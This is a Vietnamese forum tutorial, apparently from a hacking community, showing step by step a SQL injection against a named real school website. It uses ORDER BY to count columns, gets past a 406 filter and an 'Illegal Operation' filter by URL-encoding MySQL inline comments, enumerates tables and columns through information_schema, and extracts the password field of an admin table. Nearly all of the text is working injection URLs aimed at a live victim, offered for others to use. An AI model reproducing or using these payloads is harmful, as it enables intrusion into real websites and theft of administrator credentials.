Sql injection :Bypass 406 + Illegal Operation +chặn () By DTA +NBT+ThangNguyen

Victim : http://thpthiephoa1.edu.vn/index.php...ries&f=tailieu
Bây giờ chúng ta bắt đầu
------------Check order nhé
+) http://thpthiephoa1.edu.vn/index.php?catid=1 order by 1-- -&do=categories&f=tailieu ==>Ok
+)http://thpthiephoa1.edu.vn/index.php?catid=1 order by 2-- -&do=categories&f=tailieu ==>OK
+)http://thpthiephoa1.edu.vn/index.php?catid=1 order by 3-- -&do=categories&f=tailieu ==>lỗi rồi
-----------Get order lỗi :
+)http://thpthiephoa1.edu.vn/index.php?catid=1 UNION SELECT 1,2-- -&do=categories&f=tailieu ===>406
+)http://thpthiephoa1.edu.vn/index.php?catid=1 /*!UNION*/ /*!SELECT*/ 1,2-- -&do=categories&f=tailieu ===> Illegal Operation
----------Bypasss Illegal Operation :
Chúng ta sẽ encode 1 kí tự trong /*!.../ =%2F*!....%2F
H chúng ta chạy query :
+)http://thpthiephoa1.edu.vn/index.php?catid=1 %2F*!UNION*%2F %2F*!SELECT*%2F 1,2-- -&do=categories&f=tailieu ==> số 2
-------------Bỏ qua bước Get Ver em get luôn Table .
+)http://thpthiephoa1.edu.vn/index.php?catid=1 %2F*!UNION*%2F %2F*!SELECT*%2F 1,table_name from information_schema.tables&do=categories&f=tailieu
Khi chạy query xh rất nhiều table theo hàng dọc nên mình khó Coppy cả vào
-------------------Get column ------- tbl : adoosite_admin
http://thpthiephoa1.edu.vn/index.php?catid=1 %2F*!UNION*%2F %2F*!SELECT*%2F 1,%2F*!column_name*%2F from information_schema.columns where %2F*!table_name*%2F=0x61646F6F736974655F61646D696E &do=categories&f=tailieu
====> email ,pwd
------------------Get data------- column :pwd
+)http://thpthiephoa1.edu.vn/index.php?catid=1 %2F*!UNION*%2F %2F*!SELECT*%2F 1,%2F*!pwd*%2F from adoosite_admin-- -&do=categories&f=tailieu

Ps : Chúc anh em may mắn !Tut nếu sơ xài anh em thông cảm